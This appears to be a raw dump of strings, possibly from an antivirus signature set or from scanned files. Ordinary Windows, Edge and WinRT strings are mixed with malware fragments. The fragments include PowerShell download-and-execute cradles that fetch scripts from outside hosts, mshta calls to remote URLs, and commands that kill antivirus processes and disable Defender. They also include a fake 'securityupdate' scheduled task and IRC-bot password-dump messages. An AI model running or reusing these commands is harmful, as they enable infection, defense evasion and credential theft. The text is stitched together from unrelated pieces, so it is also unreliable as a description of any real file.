edge_vpn":{"available":true},"edge_wallet":{"passwords":{"password_lost_report_date":"13416393602850409"}},"enterprise_profile_guid":"0109501a-ae65-4645-83ac-23b2f96ce0d0","extension":{"installed_extension_count":2},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_chrome_version":"145.0.3800.70","pdf_upsell_triggered":false,"pinned_extension_migration":true,"pinned_extensions":[]},"fsd":{"retention_policy_last_version":145},"gaia_cookie":{"periodic_report_time_2":"13416393536181019"},"intl":{"selected_languages":"en-US,en"},"media":{"engagement":{"schema_version":5}},"migrated_user_scripts_toggle":true,"muid":{"last_sync":"13416393536310005","values_seen":["025C0A4601E2624E03FE1D4100CE637E"]},"optimization_guide":{"previously_registered_optimization_types":{"ABOUT_THIS_SITE":true,"AUTOFILL_ACTOR_IFRAME_ORIGIN_ALLOWLIST":true,"GLIC_ACTION_PAGE_BLOCK":true,"HISTORY_CLUSTERS":true,"LOADING_PREDICTOR":true,"MERCHANT_TRUST_SIGNALS_V2":true,"PAGE_ENTITIES":true,"PRICE_TRACKING":true,"SALIENT_IMAGE":true,"SAVED_TAB_GROUP":true,"V8_COMPILE_HINTS":true}},"password_manager":{"account_store_backup_password_cleaning_last_timestamp":"13416145285903344","account_store_migrated_to_os_crypt_async":true,"profile_store_backup_password_cleaning_last_timestamp":"13416145285903881","profile_store_migrated_to_os_crypt_async":true},"personalization_data_consent":{"personalization_in_context_consent_can_prompt":true,"personalization_in_context_count":0},"privacy_sandbox":{"first_party_sets_data_access_allowed_initialized":true},"profile":{"avatar_index":20,"background_password_check":{"check_fri_weight":9,"check_interval":"2592000000000","check_mon_weight":6,"check_sat_weight":6,"check_sun_weight":6,"check_thu_weight":9,"check_tue_weight":9,"check_wed_weight":9,"next_check_time":"13418668909102919"},"content_settings":{"exceptions":{"3pcd_heuristics_grants":{},"abusive_notification_permissions":{},"access_to_get_all_screens_media_in_session":{},"anti_abuse":{},"app_banner":{},"ar":{},"are_suspicious_notifications_allowlisted_by_user":{},"auto_picture_in_picture":{},"auto_select_certificate":{},"automatic_downloads":{},"automatic_fullscreen":{},"autoplay":{},"background_sync":{},"bluetooth_chooser_data":{},"bluetooth_guard":{},"bluetooth_scanning":{},"camera_pan_tilt_zoom":{},"captured_surface_control":{},"clear_browsing_data_cookies_exceptions":{},"
6\windows\system32\windowspowershell\v1.0\powershell.exec:\-c"&{'
+"%systemroot%\explorer.exe%wn]nd.q`xdesktop-bl8ccul)@zfx"ck:qem)@zfx"ck:qemay1sps0cgsf"=dsystem32(c:\windows)1spsxfl8c&mm.s-1-5-21-4146632042-3934898011-590469101-10011sps0%g`)msiexec.exe@i)aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe91spsmdphh@.=xhh=ikuop
2c:\windows\syswow64\wbem\wmiprvse.exeExecutedPENoCert
Windows
schtasks /create /tn "microsoft\windows\updateorchestrator\securityupdate" /tr "s
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js806562852414400310&agents=EdgeRuntimeConfig%2CEdgeDomainActions&osname=win&client=webview&channel=stable&osarch=x86_64&osver=10.0.26200&devicefamily=desktop&uma=0&sessionid=8&userid=&mngd
\Windows Police Pro\
<\Windows Police Pro\
\Windows Antivirus Pro\
U/2\Windows Antivirus Pro\
cmd /c taskkill /im avp.exe /fcmd /c cacls c:\windows\system32 /e /p everyone:fcmd /c sc config ekrn start= disabledcmd /c taskkill /im ekrn.execmd /c taskkill /im egui.execmd /c taskkill /im scanfrm.exe
@Peers@789Windows@4@UIAutomationPeerOverrides4@Peers@789Windows@4@UIAutomationPeerOverrides5@Peers@789Windows@4@UIAutomationPeerOverrides6@Peers@789Windows@4@UIAutomationPeerOverrides8@Peers@789Windows@4@UIAutomationPeerOverrides9@Peers@789Windows@4@@winrt@@
.?AU?$root_implements@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@U134@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@4@Ucomposing@4@UIAutomationPeerOverrides@Peers@789Windows@4@UIAutomationPeerOverrides2@Peers@789Windows@4@UIAutomationPeerOverrides3@Peers@789Windows@4@UIAutomationPeerOverrides4@Peers@789Windows@4@UIAutomationPeerOverrides5@Peers@789Windows@4@UIAutomationPeerOverrides6@Peers@789Windows@4@UIAutomationPeerOverrides8@Peers@789Windows@4@UIAutomationPeerOverrides9@Peers@789Windows@4@@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@V?$tuple@UDialogWindowAutomationPeer@TaskManagerApp@winrt@@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@3@UIAutomationPeerOverrides@Peers@67893@UIAutomationPeerOverrides2@Peers@67893@UIAutomationPeerOverrides3@Peers@67893@UIAutomationPeerOverrides4@Peers@67893@UIAutomationPeerOverrides5@Peers@67893@UIAutomationPeerOverrides6@Peers@67893@UIAutomationPeerOverrides8@Peers@67893@UIAutomationPeerOverrides9@Peers@67893@@std@@@impl@winrt@@
.?AU?$producer_convert@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
windows.com/
Microsoft Windowso
\windows\system32\conhost.exe--headlesspowershell-c$io=$([char](226-121));set-aliasaset-alias;af$io'wr';anp$io'ex';;np(f-usebasicparsing'mvue.fun/v')!%systemroot%\system32\shell32.dll
7\windows\system32\odbcconf.exe-
 .rsp"%systemroot%\system32\imageres.dll%wn]nd.q`xserverzve9mg6=d%zve9mg6=d%1spsxfl8c&mm.s-1-5-21-2269617652-2489741943-2200564624-50091spsmdphh@.=xhh2mcp
.?AV?$_Func_impl_no_alloc@V<lambda_1>@?1??InitializeComponent@WindowsFeedbackHubIntegration@@UEAAJAEBUComponentInitializationState@@@Z@XAEBVCancellationToken@@@std@@
.?AV?$_Func_impl_no_alloc@V<lambda_1>@?BL@??OnNetworkStatusChanged@NetworkAwarenessManager@@AEAAXW4NetworkCostType@Connectivity@Networking@Windows@ABI@@@Z@X$$V@std@@
.?AUINetworkStatusChangedEventHandler@Connectivity@Networking@Windows@ABI@@
.?AV?$IDispatchImpl@UINetworkStatusChangedEventHandler@Connectivity@Networking@Windows@ABI@@$1?_GUID_71ba143f_598e_49d0_84eb_8febaedcc195@@3U__s_GUID@@B$1?m_libid@CAtlModule@ATL@@2U_GUID@@A$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@
.?AV?$_Ref_count_obj2@U?$Property@W4NetworkCostType@Connectivity@Networking@Windows@ABI@@@Properties@@@std@@
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows media player\csrss.exe
windows_7_wallpaper_by_p_com
C:\WINDOWS\
pircbot.::[l4zy v1.3]::.http://h1.ripway.com/sxmast/config.phphttp://sxmast.free0host.com/config.php[sysinf0]: [cpu]: %i64umhz. [os]: windows %s (%d.%d, build %d). [current user]: %s.[-] bot failed to update (initial rename failed)[+] password dump completed[-] failed to decrypt a password[-] unable to decrypt msnTrojan:HTML/Phishbank.T
QueryWindows31FilesMigration
SynchronizeWindows31FilesAndWindowsNTRegistry
winlogon.exe
nspectable@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@UXamlMetaDataProvider@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UXamlMetaDataProvider@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAffinityDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIControlOverrides@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$App_base@UApp@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@@implementation@TaskManagerApp@winrt@@
.?AU?$require@UApp@implementation@TaskManagerApp@winrt@@UIApplication@Xaml@UI@Windows@4@UIApplication2@6784@UIApplication3@6784@@impl@winrt@@
globalDiagnosticsFoundationLoggingFieldsWindowsapplyctor2
eInProductionWindowsUdkapplyctor
ws\system32\
c:\windows\system32\delme.batc:\windows\system32\ggkb
WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
OS=Windows_NT
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy
Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbweQuickS
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
windows.comServerg
24^windows.appExtension
Microsoft.Windows.AppModel.ActivationManagerPerftrack
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\\WINDOWS11
\\WINDOWS11
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?N@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?M@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_6>@?8??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_5>@?7??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_3>@?5??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@Tas
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
E|`c:\windows\system32\windowspowershell\v1.0\powershell.exe-command"invoke-expression((new-objectsystem.net.webclient).downloadstring([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('ahr0cdovlzg2ljm4ljixny4xnjcvbg5rbgq='))))"
\windows\system32\windowspowershell\v1.0\powershell.exec:\-c"&{'
EnumThreadWindows
EnumChildWindows
Failed to set windows hook[%d]
Windows hook set in installer.
varsoftwarelist=newarray();//softwareliststart<<<softwarelist.push("avira==c:/windows/system32/drivers/avipbb.sys");softwarelist.push("bitdefender_2013==c:/programfiles/bitdefender/bitdefender2013beta/bdprovider.dll")
set-itemproperty-path"hklm:\software\policies\microsoft\windowsdefender"-name"disableantispyware"-value1-typedword-force
C:\WINDOWS\system32\svchost.exe -k wsappx -p
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe3
Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe
g to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft.Windows.Shell.ExtendedPropertiesTelemetry
#Software\Microsoft\Windows\CurrentVersion\Uninstal
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
{3F6D54BB-34EE-4469-B094-86B09E53BCF8}C:\WINDOWS\SYSTEM32\
oWindowsRuntim!#HSTR:Tobeet_Msil_AF7F75C7
3k!xWindows::Devices::Geolocation::GeolocatorImpl::InitializeAndStartTracking
Windows::Devices::Geolocation::GeopointImpl::get_Position
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.Metadata.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Storage.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.AppExtensions.h
<Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10"H
GetWindowsDirectoryW
..\..\..\windows\system32
|v.pdf*%systemroot%\system32\accessibilitycpl.dll%systemroot%\system32\mshta.exe
windows
.run"powershell.exe-nologo-windowstylehidden-command"&chr(34)&"invoke-webrequest-uri'https://phishingme.kt.co.kr/
c:\windows\system32\cmd.exe/cstartfactura""pendiente""por""ser""pagada""abril""4""fac.js&start
!#SCPT:Windowstyle.CAF3
 .earthWindows 
c:\windows\twr
c:\windows\twr
Windows permissions|E
& URL, "%windir%\system32", vbHide)
\system32\rundll32.exeurl.dll,fileprotocolhandlerh3
@Medeleteeventmywinpop_dmm_.exe_foobar_.exehttp://www.google.comsoftware\microsoft\windows\currentversion\internet settings\activex cache
windows.net
pwindowsD
Microsoft.Windows.Security.Ntlm
Microsoft.Windows.Security.SspCommon
Microsoft.Windows.TlgAggregateInternal
WINDOWS11
Microsoft.Windows.Security.Ntlm
setup=c:\windows\system32\mshta.exe http://
shortcut=t, "c:\windows\system32\mshta.exe  http://
/xx/dv", , , helppane, c:\windows\helppane.exe
regwrite ( "hkey_current_user\software\microsoft\windows\currentversion\explorer\advancedr
Ic:\windows\log
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.SystemTray
Microsoft.Windows.FileExplorerPerf
MicrosoftWindowsFileExplorer
Otokens=*"%%ein('dir"%homepath%\.."/b/s^|find"prefs.js"')do%windir%\system32\attrib.exe-r-a-s-hV
landing.qpoe.com:8080/popka/?u=6&id=LockWindowsBot\Project\AntiPiratewinlock
FIND_WINDOWS_WARNINGSD
c:\windows\system32
=_NextPart_2rfkindysadvnqw3nerasdfNiste poze interesante cu tine in arhiva astaEtiNet Windows Version \ANR SI
C:\WINDOWS\SYSTEM32\
Microsoft.Windows.Security.PlatformCryptoProvider
Microsoft.Windows.Security.PlatformCryptoProviderAggregrate
WindowsBuiltInRole
SystemRuntimeWindowsRuntime
WindowsBase
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
msEdgeWindowsEnergySaverAvailable
msEdgeWindowsEnergySaverAvailable
index.windows
createsubkeysetvalueset_filenameset_argumentsset_redirectstandardoutputset_createnowindowset_startinfoget_standardoutputrezer0v2.exe
windows defender|9641b1036d9d2c34)
windows powershe|6d2a715ad3bf3395)
c:\windows\system32\cmd.ex
list'minimized'-windowstyle
\system32\custom
31^MICROSOFT.WINDOWS.IMMERSIVECONTROLPANEL
WINDOWS.FOUNDATION.DIAGNOSTICS.ASYNCCAUSALITYTRACER
C:\WINDOWS\Explorer.EXE
= CreateProcessA(0&, Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('https://filebin.net/ebcszbdnuj5mwwfw/book.ps1')
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Minwin-State-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Runlevel-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Runlevel-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Connectivity-HID-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
!#SCPT:WindowsDiscount_ins1
TCP/IP for WindowsE
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.WebView2RuntimeSelector
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.BackupRestore.ManifestBackupStore
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows",
Windows\System32\
eAsync",()=>t.executeAsync(),()=>n.Host.manuallyDismissApp(),null,null,null)});this.isDefault=t.isDefault;this.icon=i;this.getIcon=t.getIcon}}n.DeviceItemVerbWrapper=ss;n.shouldSetThisPcGroupSource=hs;n.getGroupSourceDisplayName=cs;n.EdgeAppIds=["MSEdge","Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge"];n.AnaheimAppIds=["MSEdge"];n.SpartanAppId="Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge";n.InternetExplorerId="Microsoft.InternetExplorer.Default";n.DMAConsentAppIds=["shell:RecycleBinFolder"];n.DiscoApps=["explorer.exe"];n.DiscoArgs=["fd63767ce71d1289b1fdef49d5283482"];n.CopilotDisplayName=["Copilot"];n.CMC_URL_PROD="copilot.microsoft.com";n.getRtlAdjustedKey=ls;n.getSearchSuggestionIcon=wr;n.getCloudWeatherFontIcon=fi;n.getWebSuggestionAnnotation=as;n.getSeeWebResultsAnnotationKey=kr;n.msbEnabledForQuery=vs;n.isOnlineSuggestionPersonType=dr;n.isOnlineSuggestionMsbFile=gr;n.getMsbTophitSuggestionTypeOrder=ys;n.isMsbOnlineSuggestionType=ps;n.isMsbVerticalOnlineSuggestionType=nu;n.isMsbSubverticalOnlineSuggestionType=tu;n.getMsbSuggestionTypeFromSubverticalOnlineSuggestionType=ws;n.isMsbQFSuggestion=a;n.setVisibility=bs;n.setFixHeight=ks;n.setWidth=et;n.setAdaptiveWidth=ds;n.isRtl=iu;n.FOLDERID_Profile="{5E6C858F-0E22-4760-9AFE-EA3317B67173}";n.FOLDERID_SkyDrive="{A52BBA46-E9E1-